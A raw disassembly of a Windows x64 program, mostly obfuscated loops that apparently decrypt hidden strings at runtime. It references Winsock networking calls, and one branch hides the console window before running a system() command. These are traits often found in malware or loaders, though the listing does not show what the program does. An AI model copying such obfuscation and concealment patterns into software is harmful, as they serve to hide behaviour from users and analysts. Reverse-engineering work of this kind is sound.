cmp rbx, rax
jne 0x1400941e7
add r9b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140093d03
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140094564
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140093d03
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009458d
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400947b4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400945b3
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400947ae
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400945df
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
dec r11
inc r11
jmp 0x140093d03
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400941a7
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x140094703
lea edx, [r9 - 0x60]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x60
add dil, r10b
add dil, dl
jmp 0x140094773
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x58]
jmp 0x1400947e9
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140093d03
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400947ae
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140093d03
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140093d03
lea edx, [r9 + 0x3c]
mov ecx, 0x2e
jmp 0x1400946f2
movzx r9d, r11b
lea edx, [r9 - 0x54]
mov ecx, 0x26
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x7c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x64
add r10b, r9b
mov byte [rbp + r11 + 0x90], r10b
inc r8
dec r11
inc r11
jmp 0x140093d03
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140093d03
movzx r9d, r11b
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x3c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x5c
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x90], r10b
jmp 0x1400947b1
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140093d03
lea rcx, [r11 + r12]
and sil, cl
mov eax, recvfrom
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r11b
add r9b, 0xc
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x54
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x90], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x50
add r10b, cl
mov byte [rbp + r11 + 0x90], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140093d03
lea rcx, [r11 + r15]
and sil, cl
mov eax, 6
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0x90]
add rax, r8
add r11, rax
inc r11
jmp 0x140093d03
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140093d00
add r9b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140093cf0
lea rcx, [rbp + 0x17cccc0]
jmp 0x1400948e3
lea rcx, [rbp + 0xc6d3e4]
jmp 0x1400948e3
lea rcx, [rbp + 0x90]
call fcn.140097840
mov dword [rbp + 0xb0], 0x6e886aac
mov dword [rbp + 0xb4], 0x4b7494a8
mov dword [rbp + 0xb8], 0x4aa24b79
mov dword [rbp + 0xbc], 0xbf504c73
mov dword [rbp + 0xc0], 0x62696563
mov dword [rbp + 0xc4], 0xb7906467
mov byte [rbp + 0xc8], 0xd4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc9], xmm0
mov dword [rbp + 0xd9], eax
mov word [rbp + 0xdd], ax
mov byte [rbp + 0xdf], al
movabs rsi, 0x8ac60a2ea4cc4262
movabs r15, 0xcb6a47468195d0ae
movabs r14, 0xa0521e8bee64c726
movzx edi, byte [rsp + 0x40]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x30
jae 0x1400953fe
movzx r10d, byte [rbp + r11 + 0xb0]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x1400953f5
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400949cc
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x52
jmp 0x1400949f9
je 0x140095389
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400952fc
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14009529e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14009527d
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x1400953ec
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x140094a2a
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x140094a70
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140095236
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140095213
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400951f6
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400951da
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400951bd
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140094f07
nop dword [rax]
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140094ef9
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140094ed3
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140094eb0
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140094ea2
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140094e85
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140094e65
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140094e49
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140094e2c
lea rcx, [r8 + 4]
cmp rbx, rcx
je 0x140094dfa
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140094a80
mov rbx, rcx
lea r8, [rcx + 0x41]
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x1400953cf
lea rax, [r8 + 0x41]
cmp rcx, rax
jb 0x1400953b2
lea rax, [r8 + 0x1000]
cmp rcx, rax
jb 0x140094c21
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x140094c06
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x140094beb
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x140094daa
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x140094d39
lea rbx, [r8 + 2]
lea r8, [rbx + 5]
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140094d0a
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140094cea
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140094ccb
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140094cac
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140094c89
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140094c60
lea rcx, [r8 + 0xa]
cmp rbx, rcx
ja 0x140094c41
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140094a80
mov rbx, rcx
lea r8, [rcx + 3]
jmp 0x140094a80
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x140094a70
lea ecx, [r9 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1e
jmp 0x140094a00
sub r9b, 0x52
movzx eax, r9b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400949a0
lea edx, [r9 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x30
add dil, dl
jmp 0x140095250
sub r9b, 0x74
movzx eax, r10b
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140094983
sub r9b, 0x38
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x78
dec r11
inc r11
jmp 0x140094983
lea edx, [r9 + 4]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1c
add dil, dl
jmp 0x1400952bc
lea edx, [r9 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x140095316
sub r9b, 0xc
movzx eax, r10b
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140095344
add r9b, 0x30
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x140094983
lea ecx, [r9 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
cmp rbx, 9
jae 0x14009517d
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x1400950bc
lea edx, [r9 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
cmp r8, 6
jb 0x14009516d
lea edx, [r9 + 0xc]
movzx eax, r10b
and al, dl
mov ecx, socket
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140095250
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 1
je 0x14009519b
lea rax, [r8 + 4]
cmp rbx, rax
jbe 0x140094fd4
lea ecx, [r9 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x140094d4f
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x140094983
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x140095344
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140095313
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400952e3
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
jmp 0x1400952e0
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400952ab
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
dec r11
inc r11
jmp 0x140094983
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x140094983
lea edx, [r9 + 0x1c]
mov ecx, 0x1e
jmp 0x14009523f
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x140094f24
lea edx, [r9 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
jmp 0x140094db9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140094f5f
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x140094983
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140094f83
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x140095316
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140094fac
add r9b, 0x24
movzx eax, r9b
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400952e0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140094dc4
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x1400952bc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140094ffc
lea edx, [r9 + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140095250
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009502b
sub r9b, 0x1e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x2e
inc r8
dec r11
inc r11
jmp 0x140094983
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140095054
sub r9b, 0xe
movzx eax, r10b
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400952e3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009507d
add r9b, 0x7a
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x56
add dil, r9b
jmp 0x140095344
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140094d4f
add r9b, 0x3e
movzx eax, r10b
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x140094983
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400950f4
add r9b, 0x28
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x18
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x140094983
cmp rbx, rcx
jne 0x140095119
sub r9b, 0x14
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x74
add dil, r9b
jmp 0x140095344
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140095141
lea edx, [r9 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140095316
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140094d80
lea edx, [r9 - 4]
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400952bc
mov byte [rbp + r11 + 0xb0], dil
inc r11
jmp 0x140094983
lea edx, [r9 - 0x30]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x28
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400952bc
lea edx, [r9 - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0xc
add dil, dl
jmp 0x140095316
add r9b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x26
jmp 0x140095344
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140095313
sub r9b, 0x5e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6e
jmp 0x1400952e3
add r9b, 0x56
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5a
dec r11
inc r11
jmp 0x140094983
lea edx, [r9 - 0x32]
mov ecx, 0x2f
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 2
add r9b, r10b
mov byte [rbp + r11 + 0xb0], r9b
inc r8
dec r11
inc r11
jmp 0x140094983
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
dec r11
inc r11
jmp 0x140094983
movzx r9d, r11b
lea edx, [r9 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x32
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x5e
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0xb0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140094983
lea rax, [r11 + r15]
and dl, al
mov ecx, 0x1f
sub cl, dl
lea edi, [rcx + rcx]
add dil, al
movzx r9d, r11b
add dil, r10b
sub r9b, 0xa
movzx eax, r10b
and al, r9b
mov ecx, 0x23
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0xb0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x68
add r10b, cl
mov byte [rbp + r11 + 0xb0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x140094983
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0xa
movzx eax, byte [rbp + r11 + 0xb0]
add rax, r8
add r11, rax
inc r11
jmp 0x140094983
sub r9b, 0x16
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x66
jmp 0x140094980
add r9b, 0x26
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xa
jmp 0x140094970
lea rcx, [rbp + 0x17c9a88]
jmp 0x140095405
lea rcx, [rbp + 0xc8dcea]
jmp 0x140095405
lea rcx, [rbp + 0xb0]
call fcn.140097840
lea rdx, [rbp + 0x204]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
cmp dword [rbp + 0x204], 1
jne 0x14009545a
xor edx, edx
mov rcx, qword [0x1401dd3e8]
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140045da0
lea rcx, [0x140148e1c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 5
mov rcx, qword [0x1401dd3e8]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x140148574]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140041a30
mov r13, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rsp + 0x50], 0xce28ca0c
mov dword [rsp + 0x54], 0xf8f4da08
mov dword [rsp + 0x58], 0xf0eb05f9
mov dword [rsp + 0x5c], 0xd1ff01ed
mov dword [rsp + 0x60], 0xc9c33dc1
mov dword [rsp + 0x64], 0xcaced538
mov dword [rsp + 0x68], 0xcdc1c134
mov dword [rsp + 0x6c], 0x2f1ad8ce
mov dword [rsp + 0x70], 0xc4d7c3dc
mov dword [rsp + 0x74], 0xf5fb29c7
mov dword [rsp + 0x78], 0x23ecf8e8
mov dword [rsp + 0x7c], 0xbded2cc
mov dword [rbp - 0x80], 0xdb261c2f
mov dword [rbp - 0x7c], 0xd72b2134
mov dword [rbp - 0x78], 0x122f2d0b
mov word [rbp - 0x74], 0xe33c
mov byte [rbp - 0x72], 0xae
xor eax, eax
mov qword [rbp - 0x71], rax
mov word [rbp - 0x69], ax
movzx edi, byte [rsp + 0x40]
movabs r14, 0xecdee69d1916b0f6
movabs r15, 0x4ef4f789b3079052
movabs rsi, 0xc69cb3d74b4412e2
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r12d, r12d
cmp r12, 0x49
jae 0x140095d1b
movzx r11d, byte [rsp + r12 + 0x50]
mov edx, r11d
cmp rbx, r12
ja 0x140095d12
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140095571
lea rcx, [r12 + r15]
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x3e
jmp 0x14009559e
je 0x140095c66
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140095c40
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140095c20
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140095c00
movzx r15d, r12b
nop dword [rax]
nop word [rax + rax]
movzx r14d, r15b
movzx esi, r15b
movzx r10d, r15b
cmp r8, r12
ja 0x140095d09
lea r9, [r8 + 1]
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x1400955ee
lea ecx, [r15 - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x16
lea rdx, [r8 + 5]
jmp 0x140095620
cmp rbx, r9
je 0x140095bbb
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140095b7c
lea rdx, [r8 + 5]
cmp rbx, rdx
je 0x140095b5c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140095ae8
nop
lea rcx, [r8 + rbx]
cmp rcx, r12
jbe 0x140095870
nop dword [rax]
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140095853
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140095830
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140095813
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400957f6
lea rbx, [r8 + 1]
lea r8, [rbx + 0xa]
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140095ce9
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140095cae
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400956eb
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140095783
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140095630
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140095763
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140095744
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140095729
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140095706
lea rbx, [r8 + 4]
lea r8, [rbx + 0x28]
jmp 0x140095630
lea ecx, [r15 - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2e
jmp 0x1400955b0
add r14b, 0x2c
movzx eax, r14b
and al, r11b
add al, al
sub r14b, al
lea edi, [r11 + r14]
sub dil, 0x34
inc r8
dec r12
jmp 0x140095c88
lea ecx, [r14 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x3c
jmp 0x140095b94
lea edx, [r14 - 8]
movzx eax, dl
and al, r11b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140095b00
sub r14b, 0x50
movzx eax, r14b
and al, r11b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r11b
jmp 0x140095c7c
lea edx, [r14 - 0x32]
movzx eax, dl
and al, r11b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp rbx, 8
jae 0x140095aad
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x1400959fe
lea edx, [r14 + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp r8, 0x40
jb 0x140095aa3
lea ecx, [r14 - 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edi, [rcx*2 - 0x68]
jmp 0x140095bd6
sub sil, 0x48
movzx eax, sil
and al, r11b
add al, al
sub sil, al
lea edi, [r11 + rsi]
sub dil, 8
jmp 0x140095b2b
add sil, 0x70
movzx eax, sil
and al, r11b
add al, al
sub sil, al
lea edi, [r11 + rsi]
sub dil, 0x10
jmp 0x140095c53
sub sil, 0x7c
movzx eax, sil
and al, r11b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r11b
dec r12
jmp 0x140095c88
add sil, 0x3c
movzx eax, sil
and al, r11b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
jmp 0x140095bd3
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x1400958cc
add r15b, 0x52
movzx eax, r15b
and al, r11b
add al, al
sub r15b, al
lea edi, [r11 + r15]
sub dil, 0x3e
lea rdx, [r8 + 3]
cmp rcx, 0x10
je 0x140095acf
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14009598b
sub sil, 0x76
movzx eax, sil
and al, r11b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
jmp 0x14009579a
cmp rbx, r9
jne 0x1400958ee
add r10b, 0x74
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x2c
jmp 0x140095c7c
cmp rbx, rax
jne 0x140095913
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x140095c53
cmp rbx, rdx
jne 0x140095938
sub sil, 0x58
movzx eax, sil
and al, r11b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r11b
jmp 0x140095b94
lea rdx, [r8 + 3]
cmp rbx, rdx
jne 0x140095961
add sil, 0x4c
movzx eax, sil
and al, r11b
add al, al
sub sil, al
lea edi, [r11 + rsi]
sub dil, 0x14
dec r12
jmp 0x140095c88
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140095895
sub sil, 0x6c
movzx eax, sil
and al, r11b
add al, al
sub sil, al
lea edi, [r11 + rsi]
sub dil, 0xc
jmp 0x140095bd6
cmp rbx, r9
jne 0x1400959ad
add sil, 0x2e
movzx eax, sil
and al, r11b
add al, al
sub sil, al
lea edi, [r11 + rsi]
sub dil, 0x42
jmp 0x140095bd6
lea rax, [r8 + 2]
cmp rbx, rax
